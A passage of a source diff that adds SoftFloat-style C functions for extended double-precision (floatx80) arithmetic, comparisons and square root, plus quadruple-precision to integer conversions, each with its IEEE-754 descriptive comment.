IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static floatx80 addFloatx80Sigs( floatx80 a, floatx80 b, flag zSign STATUS_PARAM) +{ + int32 aExp, bExp, zExp; + uint64_t aSig, bSig, zSig0, zSig1; + int32 expDiff; + + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + bSig = extractFloatx80Frac( b ); + bExp = extractFloatx80Exp( b ); + expDiff = aExp - bExp; + if ( 0 < expDiff ) { + if ( aExp == 0x7FFF ) { + if ( (uint64_t) ( aSig<<1 ) ) return propagateFloatx80NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) --expDiff; + shift64ExtraRightJamming( bSig, 0, expDiff, &bSig, &zSig1 ); + zExp = aExp; + } + else if ( expDiff < 0 ) { + if ( bExp == 0x7FFF ) { + if ( (uint64_t) ( bSig<<1 ) ) return propagateFloatx80NaN( a, b STATUS_VAR ); + return packFloatx80( zSign, 0x7FFF, LIT64( 0x8000000000000000 ) ); + } + if ( aExp == 0 ) ++expDiff; + shift64ExtraRightJamming( aSig, 0, - expDiff, &aSig, &zSig1 ); + zExp = bExp; + } + else { + if ( aExp == 0x7FFF ) { + if ( (uint64_t) ( ( aSig | bSig )<<1 ) ) { + return propagateFloatx80NaN( a, b STATUS_VAR ); + } + return a; + } + zSig1 = 0; + zSig0 = aSig + bSig; + if ( aExp == 0 ) { + normalizeFloatx80Subnormal( zSig0, &zExp, &zSig0 ); + goto roundAndPack; + } + zExp = aExp; + goto shiftRight1; + } + zSig0 = aSig + bSig; + if ( (int64_t) zSig0 < 0 ) goto roundAndPack; + shiftRight1: + shift64ExtraRightJamming( zSig0, zSig1, 1, &zSig0, &zSig1 ); + zSig0 |= LIT64( 0x8000000000000000 ); + ++zExp; + roundAndPack: + return + roundAndPackFloatx80( + STATUS(floatx80_rounding_precision), zSign, zExp, zSig0, zSig1 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of subtracting the absolute values of the extended +| double-precision floating-point values `a' and `b'. If `zSign' is 1, the +| difference is negated before being returned. `zSign' is ignored if the +| result is a NaN. The subtraction is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static floatx80 subFloatx80Sigs( floatx80 a, floatx80 b, flag zSign STATUS_PARAM ) +{ + int32 aExp, bExp, zExp; + uint64_t aSig, bSig, zSig0, zSig1; + int32 expDiff; + floatx80 z; + + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + bSig = extractFloatx80Frac( b ); + bExp = extractFloatx80Exp( b ); + expDiff = aExp - bExp; + if ( 0 < expDiff ) goto aExpBigger; + if ( expDiff < 0 ) goto bExpBigger; + if ( aExp == 0x7FFF ) { + if ( (uint64_t) ( ( aSig | bSig )<<1 ) ) { + return propagateFloatx80NaN( a, b STATUS_VAR ); + } + float_raise( float_flag_invalid STATUS_VAR); + z.low = floatx80_default_nan_low; + z.high = floatx80_default_nan_high; + return z; + } + if ( aExp == 0 ) { + aExp = 1; + bExp = 1; + } + zSig1 = 0; + if ( bSig < aSig ) goto aBigger; + if ( aSig < bSig ) goto bBigger; + return packFloatx80( STATUS(float_rounding_mode) == float_round_down, 0, 0 ); + bExpBigger: + if ( bExp == 0x7FFF ) { + if ( (uint64_t) ( bSig<<1 ) ) return propagateFloatx80NaN( a, b STATUS_VAR ); + return packFloatx80( zSign ^ 1, 0x7FFF, LIT64( 0x8000000000000000 ) ); + } + if ( aExp == 0 ) ++expDiff; + shift128RightJamming( aSig, 0, - expDiff, &aSig, &zSig1 ); + bBigger: + sub128( bSig, 0, aSig, zSig1, &zSig0, &zSig1 ); + zExp = bExp; + zSign ^= 1; + goto normalizeRoundAndPack; + aExpBigger: + if ( aExp == 0x7FFF ) { + if ( (uint64_t) ( aSig<<1 ) ) return propagateFloatx80NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) --expDiff; + shift128RightJamming( bSig, 0, expDiff, &bSig, &zSig1 ); + aBigger: + sub128( aSig, 0, bSig, zSig1, &zSig0, &zSig1 ); + zExp = aExp; + normalizeRoundAndPack: + return + normalizeRoundAndPackFloatx80( + STATUS(floatx80_rounding_precision), zSign, zExp, zSig0, zSig1 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of adding the extended double-precision floating-point +| values `a' and `b'. The operation is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 floatx80_add( floatx80 a, floatx80 b STATUS_PARAM ) +{ + flag aSign, bSign; + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b)) { + float_raise(float_flag_invalid STATUS_VAR); + return floatx80_default_nan; + } + aSign = extractFloatx80Sign( a ); + bSign = extractFloatx80Sign( b ); + if ( aSign == bSign ) { + return addFloatx80Sigs( a, b, aSign STATUS_VAR ); + } + else { + return subFloatx80Sigs( a, b, aSign STATUS_VAR ); + } + +} + +/*---------------------------------------------------------------------------- +| Returns the result of subtracting the extended double-precision floating- +| point values `a' and `b'. The operation is performed according to the +| IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 floatx80_sub( floatx80 a, floatx80 b STATUS_PARAM ) +{ + flag aSign, bSign; + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b)) { + float_raise(float_flag_invalid STATUS_VAR); + return floatx80_default_nan; + } + aSign = extractFloatx80Sign( a ); + bSign = extractFloatx80Sign( b ); + if ( aSign == bSign ) { + return subFloatx80Sigs( a, b, aSign STATUS_VAR ); + } + else { + return addFloatx80Sigs( a, b, aSign STATUS_VAR ); + } + +} + +/*---------------------------------------------------------------------------- +| Returns the result of multiplying the extended double-precision floating- +| point values `a' and `b'. The operation is performed according to the +| IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 floatx80_mul( floatx80 a, floatx80 b STATUS_PARAM ) +{ + flag aSign, bSign, zSign; + int32 aExp, bExp, zExp; + uint64_t aSig, bSig, zSig0, zSig1; + floatx80 z; + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b)) { + float_raise(float_flag_invalid STATUS_VAR); + return floatx80_default_nan; + } + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + bSig = extractFloatx80Frac( b ); + bExp = extractFloatx80Exp( b ); + bSign = extractFloatx80Sign( b ); + zSign = aSign ^ bSign; + if ( aExp == 0x7FFF ) { + if ( (uint64_t) ( aSig<<1 ) + || ( ( bExp == 0x7FFF ) && (uint64_t) ( bSig<<1 ) ) ) { + return propagateFloatx80NaN( a, b STATUS_VAR ); + } + if ( ( bExp | bSig ) == 0 ) goto invalid; + return packFloatx80( zSign, 0x7FFF, LIT64( 0x8000000000000000 ) ); + } + if ( bExp == 0x7FFF ) { + if ( (uint64_t) ( bSig<<1 ) ) return propagateFloatx80NaN( a, b STATUS_VAR ); + if ( ( aExp | aSig ) == 0 ) { + invalid: + float_raise( float_flag_invalid STATUS_VAR); + z.low = floatx80_default_nan_low; + z.high = floatx80_default_nan_high; + return z; + } + return packFloatx80( zSign, 0x7FFF, LIT64( 0x8000000000000000 ) ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloatx80( zSign, 0, 0 ); + normalizeFloatx80Subnormal( aSig, &aExp, &aSig ); + } + if ( bExp == 0 ) { + if ( bSig == 0 ) return packFloatx80( zSign, 0, 0 ); + normalizeFloatx80Subnormal( bSig, &bExp, &bSig ); + } + zExp = aExp + bExp - 0x3FFE; + mul64To128( aSig, bSig, &zSig0, &zSig1 ); + if ( 0 < (int64_t) zSig0 ) { + shortShift128Left( zSig0, zSig1, 1, &zSig0, &zSig1 ); + --zExp; + } + return + roundAndPackFloatx80( + STATUS(floatx80_rounding_precision), zSign, zExp, zSig0, zSig1 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of dividing the extended double-precision floating-point +| value `a' by the corresponding value `b'. The operation is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 floatx80_div( floatx80 a, floatx80 b STATUS_PARAM ) +{ + flag aSign, bSign, zSign; + int32 aExp, bExp, zExp; + uint64_t aSig, bSig, zSig0, zSig1; + uint64_t rem0, rem1, rem2, term0, term1, term2; + floatx80 z; + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b)) { + float_raise(float_flag_invalid STATUS_VAR); + return floatx80_default_nan; + } + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + bSig = extractFloatx80Frac( b ); + bExp = extractFloatx80Exp( b ); + bSign = extractFloatx80Sign( b ); + zSign = aSign ^ bSign; + if ( aExp == 0x7FFF ) { + if ( (uint64_t) ( aSig<<1 ) ) return propagateFloatx80NaN( a, b STATUS_VAR ); + if ( bExp == 0x7FFF ) { + if ( (uint64_t) ( bSig<<1 ) ) return propagateFloatx80NaN( a, b STATUS_VAR ); + goto invalid; + } + return packFloatx80( zSign, 0x7FFF, LIT64( 0x8000000000000000 ) ); + } + if ( bExp == 0x7FFF ) { + if ( (uint64_t) ( bSig<<1 ) ) return propagateFloatx80NaN( a, b STATUS_VAR ); + return packFloatx80( zSign, 0, 0 ); + } + if ( bExp == 0 ) { + if ( bSig == 0 ) { + if ( ( aExp | aSig ) == 0 ) { + invalid: + float_raise( float_flag_invalid STATUS_VAR); + z.low = floatx80_default_nan_low; + z.high = floatx80_default_nan_high; + return z; + } + float_raise( float_flag_divbyzero STATUS_VAR); + return packFloatx80( zSign, 0x7FFF, LIT64( 0x8000000000000000 ) ); + } + normalizeFloatx80Subnormal( bSig, &bExp, &bSig ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloatx80( zSign, 0, 0 ); + normalizeFloatx80Subnormal( aSig, &aExp, &aSig ); + } + zExp = aExp - bExp + 0x3FFE; + rem1 = 0; + if ( bSig <= aSig ) { + shift128Right( aSig, 0, 1, &aSig, &rem1 ); + ++zExp; + } + zSig0 = estimateDiv128To64( aSig, rem1, bSig ); + mul64To128( bSig, zSig0, &term0, &term1 ); + sub128( aSig, rem1, term0, term1, &rem0, &rem1 ); + while ( (int64_t) rem0 < 0 ) { + --zSig0; + add128( rem0, rem1, 0, bSig, &rem0, &rem1 ); + } + zSig1 = estimateDiv128To64( rem1, 0, bSig ); + if ( (uint64_t) ( zSig1<<1 ) <= 8 ) { + mul64To128( bSig, zSig1, &term1, &term2 ); + sub128( rem1, 0, term1, term2, &rem1, &rem2 ); + while ( (int64_t) rem1 < 0 ) { + --zSig1; + add128( rem1, rem2, 0, bSig, &rem1, &rem2 ); + } + zSig1 |= ( ( rem1 | rem2 ) != 0 ); + } + return + roundAndPackFloatx80( + STATUS(floatx80_rounding_precision), zSign, zExp, zSig0, zSig1 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the remainder of the extended double-precision floating-point value +| `a' with respect to the corresponding value `b'. The operation is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 floatx80_rem( floatx80 a, floatx80 b STATUS_PARAM ) +{ + flag aSign, zSign; + int32 aExp, bExp, expDiff; + uint64_t aSig0, aSig1, bSig; + uint64_t q, term0, term1, alternateASig0, alternateASig1; + floatx80 z; + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b)) { + float_raise(float_flag_invalid STATUS_VAR); + return floatx80_default_nan; + } + aSig0 = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + bSig = extractFloatx80Frac( b ); + bExp = extractFloatx80Exp( b ); + if ( aExp == 0x7FFF ) { + if ( (uint64_t) ( aSig0<<1 ) + || ( ( bExp == 0x7FFF ) && (uint64_t) ( bSig<<1 ) ) ) { + return propagateFloatx80NaN( a, b STATUS_VAR ); + } + goto invalid; + } + if ( bExp == 0x7FFF ) { + if ( (uint64_t) ( bSig<<1 ) ) return propagateFloatx80NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) { + if ( bSig == 0 ) { + invalid: + float_raise( float_flag_invalid STATUS_VAR); + z.low = floatx80_default_nan_low; + z.high = floatx80_default_nan_high; + return z; + } + normalizeFloatx80Subnormal( bSig, &bExp, &bSig ); + } + if ( aExp == 0 ) { + if ( (uint64_t) ( aSig0<<1 ) == 0 ) return a; + normalizeFloatx80Subnormal( aSig0, &aExp, &aSig0 ); + } + bSig |= LIT64( 0x8000000000000000 ); + zSign = aSign; + expDiff = aExp - bExp; + aSig1 = 0; + if ( expDiff < 0 ) { + if ( expDiff < -1 ) return a; + shift128Right( aSig0, 0, 1, &aSig0, &aSig1 ); + expDiff = 0; + } + q = ( bSig <= aSig0 ); + if ( q ) aSig0 -= bSig; + expDiff -= 64; + while ( 0 < expDiff ) { + q = estimateDiv128To64( aSig0, aSig1, bSig ); + q = ( 2 < q ) ? q - 2 : 0; + mul64To128( bSig, q, &term0, &term1 ); + sub128( aSig0, aSig1, term0, term1, &aSig0, &aSig1 ); + shortShift128Left( aSig0, aSig1, 62, &aSig0, &aSig1 ); + expDiff -= 62; + } + expDiff += 64; + if ( 0 < expDiff ) { + q = estimateDiv128To64( aSig0, aSig1, bSig ); + q = ( 2 < q ) ? q - 2 : 0; + q >>= 64 - expDiff; + mul64To128( bSig, q<<( 64 - expDiff ), &term0, &term1 ); + sub128( aSig0, aSig1, term0, term1, &aSig0, &aSig1 ); + shortShift128Left( 0, bSig, 64 - expDiff, &term0, &term1 ); + while ( le128( term0, term1, aSig0, aSig1 ) ) { + ++q; + sub128( aSig0, aSig1, term0, term1, &aSig0, &aSig1 ); + } + } + else { + term1 = 0; + term0 = bSig; + } + sub128( term0, term1, aSig0, aSig1, &alternateASig0, &alternateASig1 ); + if ( lt128( alternateASig0, alternateASig1, aSig0, aSig1 ) + || ( eq128( alternateASig0, alternateASig1, aSig0, aSig1 ) + && ( q & 1 ) ) + ) { + aSig0 = alternateASig0; + aSig1 = alternateASig1; + zSign = ! zSign; + } + return + normalizeRoundAndPackFloatx80( + 80, zSign, bExp + expDiff, aSig0, aSig1 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the square root of the extended double-precision floating-point +| value `a'. The operation is performed according to the IEC/IEEE Standard +| for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 floatx80_sqrt( floatx80 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp, zExp; + uint64_t aSig0, aSig1, zSig0, zSig1, doubleZSig0; + uint64_t rem0, rem1, rem2, rem3, term0, term1, term2, term3; + floatx80 z; + + if (floatx80_invalid_encoding(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return floatx80_default_nan; + } + aSig0 = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + if ( aExp == 0x7FFF ) { + if ( (uint64_t) ( aSig0<<1 ) ) return propagateFloatx80NaN( a, a STATUS_VAR ); + if ( ! aSign ) return a; + goto invalid; + } + if ( aSign ) { + if ( ( aExp | aSig0 ) == 0 ) return a; + invalid: + float_raise( float_flag_invalid STATUS_VAR); + z.low = floatx80_default_nan_low; + z.high = floatx80_default_nan_high; + return z; + } + if ( aExp == 0 ) { + if ( aSig0 == 0 ) return packFloatx80( 0, 0, 0 ); + normalizeFloatx80Subnormal( aSig0, &aExp, &aSig0 ); + } + zExp = ( ( aExp - 0x3FFF )>>1 ) + 0x3FFF; + zSig0 = estimateSqrt32( aExp, aSig0>>32 ); + shift128Right( aSig0, 0, 2 + ( aExp & 1 ), &aSig0, &aSig1 ); + zSig0 = estimateDiv128To64( aSig0, aSig1, zSig0<<32 ) + ( zSig0<<30 ); + doubleZSig0 = zSig0<<1; + mul64To128( zSig0, zSig0, &term0, &term1 ); + sub128( aSig0, aSig1, term0, term1, &rem0, &rem1 ); + while ( (int64_t) rem0 < 0 ) { + --zSig0; + doubleZSig0 -= 2; + add128( rem0, rem1, zSig0>>63, doubleZSig0 | 1, &rem0, &rem1 ); + } + zSig1 = estimateDiv128To64( rem1, 0, doubleZSig0 ); + if ( ( zSig1 & LIT64( 0x3FFFFFFFFFFFFFFF ) ) <= 5 ) { + if ( zSig1 == 0 ) zSig1 = 1; + mul64To128( doubleZSig0, zSig1, &term1, &term2 ); + sub128( rem1, 0, term1, term2, &rem1, &rem2 ); + mul64To128( zSig1, zSig1, &term2, &term3 ); + sub192( rem1, rem2, 0, 0, term2, term3, &rem1, &rem2, &rem3 ); + while ( (int64_t) rem1 < 0 ) { + --zSig1; + shortShift128Left( 0, zSig1, 1, &term2, &term3 ); + term3 |= 1; + term2 |= doubleZSig0; + add192( rem1, rem2, rem3, 0, term2, term3, &rem1, &rem2, &rem3 ); + } + zSig1 |= ( ( rem1 | rem2 | rem3 ) != 0 ); + } + shortShift128Left( 0, zSig1, 1, &zSig0, &zSig1 ); + zSig0 |= doubleZSig0; + return + roundAndPackFloatx80( + STATUS(floatx80_rounding_precision), 0, zExp, zSig0, zSig1 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the extended double-precision floating-point value `a' is equal +| to the corresponding value `b', and 0 otherwise. The invalid exception is +| raised if either operand is a NaN. Otherwise, the comparison is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int floatx80_eq( floatx80 a, floatx80 b STATUS_PARAM ) +{ + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b) + || (extractFloatx80Exp(a) == 0x7FFF + && (uint64_t) (extractFloatx80Frac(a) << 1)) + || (extractFloatx80Exp(b) == 0x7FFF + && (uint64_t) (extractFloatx80Frac(b) << 1)) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + return + ( a.low == b.low ) + && ( ( a.high == b.high ) + || ( ( a.low == 0 ) + && ( (uint16_t) ( ( a.high | b.high )<<1 ) == 0 ) ) + ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the extended double-precision floating-point value `a' is +| less than or equal to the corresponding value `b', and 0 otherwise. The +| invalid exception is raised if either operand is a NaN. The comparison is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic. +*----------------------------------------------------------------------------*/ + +int floatx80_le( floatx80 a, floatx80 b STATUS_PARAM ) +{ + flag aSign, bSign; + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b) + || (extractFloatx80Exp(a) == 0x7FFF + && (uint64_t) (extractFloatx80Frac(a) << 1)) + || (extractFloatx80Exp(b) == 0x7FFF + && (uint64_t) (extractFloatx80Frac(b) << 1)) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + aSign = extractFloatx80Sign( a ); + bSign = extractFloatx80Sign( b ); + if ( aSign != bSign ) { + return + aSign + || ( ( ( (uint16_t) ( ( a.high | b.high )<<1 ) ) | a.low | b.low ) + == 0 ); + } + return + aSign ? le128( b.high, b.low, a.high, a.low ) + : le128( a.high, a.low, b.high, b.low ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the extended double-precision floating-point value `a' is +| less than the corresponding value `b', and 0 otherwise. The invalid +| exception is raised if either operand is a NaN. The comparison is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int floatx80_lt( floatx80 a, floatx80 b STATUS_PARAM ) +{ + flag aSign, bSign; + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b) + || (extractFloatx80Exp(a) == 0x7FFF + && (uint64_t) (extractFloatx80Frac(a) << 1)) + || (extractFloatx80Exp(b) == 0x7FFF + && (uint64_t) (extractFloatx80Frac(b) << 1)) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + aSign = extractFloatx80Sign( a ); + bSign = extractFloatx80Sign( b ); + if ( aSign != bSign ) { + return + aSign + && ( ( ( (uint16_t) ( ( a.high | b.high )<<1 ) ) | a.low | b.low ) + != 0 ); + } + return + aSign ? lt128( b.high, b.low, a.high, a.low ) + : lt128( a.high, a.low, b.high, b.low ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the extended double-precision floating-point values `a' and `b' +| cannot be compared, and 0 otherwise. The invalid exception is raised if +| either operand is a NaN. The comparison is performed according to the +| IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ +int floatx80_unordered( floatx80 a, floatx80 b STATUS_PARAM ) +{ + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b) + || (extractFloatx80Exp(a) == 0x7FFF + && (uint64_t) (extractFloatx80Frac(a) << 1)) + || (extractFloatx80Exp(b) == 0x7FFF + && (uint64_t) (extractFloatx80Frac(b) << 1)) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 1; + } + return 0; +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the extended double-precision floating-point value `a' is +| equal to the corresponding value `b', and 0 otherwise. Quiet NaNs do not +| cause an exception. The comparison is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int floatx80_eq_quiet( floatx80 a, floatx80 b STATUS_PARAM ) +{ + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b)) { + float_raise(float_flag_invalid STATUS_VAR); + return 0; + } + if ( ( ( extractFloatx80Exp( a ) == 0x7FFF ) + && (uint64_t) ( extractFloatx80Frac( a )<<1 ) ) + || ( ( extractFloatx80Exp( b ) == 0x7FFF ) + && (uint64_t) ( extractFloatx80Frac( b )<<1 ) ) + ) { + if ( floatx80_is_signaling_nan( a ) + || floatx80_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + return + ( a.low == b.low ) + && ( ( a.high == b.high ) + || ( ( a.low == 0 ) + && ( (uint16_t) ( ( a.high | b.high )<<1 ) == 0 ) ) + ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the extended double-precision floating-point value `a' is less +| than or equal to the corresponding value `b', and 0 otherwise. Quiet NaNs +| do not cause an exception. Otherwise, the comparison is performed according +| to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int floatx80_le_quiet( floatx80 a, floatx80 b STATUS_PARAM ) +{ + flag aSign, bSign; + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b)) { + float_raise(float_flag_invalid STATUS_VAR); + return 0; + } + if ( ( ( extractFloatx80Exp( a ) == 0x7FFF ) + && (uint64_t) ( extractFloatx80Frac( a )<<1 ) ) + || ( ( extractFloatx80Exp( b ) == 0x7FFF ) + && (uint64_t) ( extractFloatx80Frac( b )<<1 ) ) + ) { + if ( floatx80_is_signaling_nan( a ) + || floatx80_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + aSign = extractFloatx80Sign( a ); + bSign = extractFloatx80Sign( b ); + if ( aSign != bSign ) { + return + aSign + || ( ( ( (uint16_t) ( ( a.high | b.high )<<1 ) ) | a.low | b.low ) + == 0 ); + } + return + aSign ? le128( b.high, b.low, a.high, a.low ) + : le128( a.high, a.low, b.high, b.low ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the extended double-precision floating-point value `a' is less +| than the corresponding value `b', and 0 otherwise. Quiet NaNs do not cause +| an exception. Otherwise, the comparison is performed according to the +| IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int floatx80_lt_quiet( floatx80 a, floatx80 b STATUS_PARAM ) +{ + flag aSign, bSign; + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b)) { + float_raise(float_flag_invalid STATUS_VAR); + return 0; + } + if ( ( ( extractFloatx80Exp( a ) == 0x7FFF ) + && (uint64_t) ( extractFloatx80Frac( a )<<1 ) ) + || ( ( extractFloatx80Exp( b ) == 0x7FFF ) + && (uint64_t) ( extractFloatx80Frac( b )<<1 ) ) + ) { + if ( floatx80_is_signaling_nan( a ) + || floatx80_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + aSign = extractFloatx80Sign( a ); + bSign = extractFloatx80Sign( b ); + if ( aSign != bSign ) { + return + aSign + && ( ( ( (uint16_t) ( ( a.high | b.high )<<1 ) ) | a.low | b.low ) + != 0 ); + } + return + aSign ? lt128( b.high, b.low, a.high, a.low ) + : lt128( a.high, a.low, b.high, b.low ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the extended double-precision floating-point values `a' and `b' +| cannot be compared, and 0 otherwise. Quiet NaNs do not cause an exception. +| The comparison is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ +int floatx80_unordered_quiet( floatx80 a, floatx80 b STATUS_PARAM ) +{ + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b)) { + float_raise(float_flag_invalid STATUS_VAR); + return 1; + } + if ( ( ( extractFloatx80Exp( a ) == 0x7FFF ) + && (uint64_t) ( extractFloatx80Frac( a )<<1 ) ) + || ( ( extractFloatx80Exp( b ) == 0x7FFF ) + && (uint64_t) ( extractFloatx80Frac( b )<<1 ) ) + ) { + if ( floatx80_is_signaling_nan( a ) + || floatx80_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 1; + } + return 0; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the quadruple-precision floating-point +| value `a' to the 32-bit two's complement integer format. The conversion +| is performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic---which means in particular that the conversion is rounded +| according to the current rounding mode. If `a' is a NaN, the largest +| positive integer is returned. Otherwise, if the conversion overflows, the +| largest integer with the same sign as `a' is returned. +*----------------------------------------------------------------------------*/ + +int32 float128_to_int32( float128 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp, shiftCount; + uint64_t aSig0, aSig1; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + if ( ( aExp == 0x7FFF ) && ( aSig0 | aSig1 ) ) aSign = 0; + if ( aExp ) aSig0 |= LIT64( 0x0001000000000000 ); + aSig0 |= ( aSig1 != 0 ); + shiftCount = 0x4028 - aExp; + if ( 0 < shiftCount ) shift64RightJamming( aSig0, shiftCount, &aSig0 ); + return roundAndPackInt32( aSign, aSig0 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the quadruple-precision floating-point +| value `a' to the 32-bit two's complement integer format. The conversion +| is performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic, except that the conversion is always rounded toward zero. If +| `a' is a NaN, the largest positive integer is returned. Otherwise, if the +| conversion overflows, the largest integer with the same sign as `a' is +| returned. +*----------------------------------------------------------------------------*/ + +int32 float128_to_int32_round_to_zero( float128 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp, shiftCount; + uint64_t aSig0, aSig1, savedASig; + int32_t z; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + aSig0 |= ( aSig1 != 0 ); + if ( 0x401E < aExp ) { + if ( ( aExp == 0x7FFF ) && aSig0 ) aSign = 0; + goto invalid; + } + else if ( aExp < 0x3FFF ) { + if ( aExp || aSig0 ) STATUS(float_exception_flags) |= float_flag_inexact; + return 0; + } + aSig0 |= LIT64( 0x0001000000000000 ); + shiftCount = 0x402F - aExp; + savedASig = aSig0; + aSig0 >>= shiftCount; + z = (int32_t)aSig0; + if ( aSign ) z = - z; + if ( ( z < 0 ) ^ aSign ) { + invalid: + float_raise( float_flag_invalid STATUS_VAR); + return aSign ? (int32_t) 0x80000000 : 0x7FFFFFFF; + } + if ( ( aSig0<<shiftCount ) != savedASig ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the quadruple-precision floating-point +| value `a' to the 64-bit two's complement integer format. The conversion +| is performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic---which means in particular that the conversion is rounded +| according to the current rounding mode. If `a' is a NaN, the largest +| positive integer is returned. Otherwise, if the conversion overflows, the +| largest integer with the same sign as `a' is returned. +*----------------------------------------------------------------------------*/ + +int64 float128_to_int64( float128 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp, shiftCount; + uint64_t aSig0, aSig1; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + if ( aExp ) aSig0 |= LIT64( 0x0001000000000000 ); + shiftCount = 0x402F - aExp; + if ( shiftCount <= 0 ) { + if ( 0x403E < aExp ) { + float_raise( float_flag_invalid STATUS_VAR); + if ( ! aSign + || ( ( aExp == 0x7FFF ) + && ( aSig1 || ( aSig0 != LIT64( 0x0001000000000000 ) ) ) + ) + ) { + return LIT64( 0x7FFFFFFFFFFFFFFF ); + } + return (int64_t) LIT64( 0x8000000000000000 ); + } + shortShift128Left( aSig0, aSig1, - shiftCount, &aSig0, &aSig1 ); + } + else { + shift64ExtraRightJamming( aSig0, aSig1, shiftCount, &aSig0, &aSig1 ); + } + return roundAndPackInt64( aSign, aSig0, aSig1 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the quadruple-precision floating-point +| value `a' to the 64-bit two's complement integer format. The conversion +| is performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic, except that the conversion is always rounded toward zero. +| If 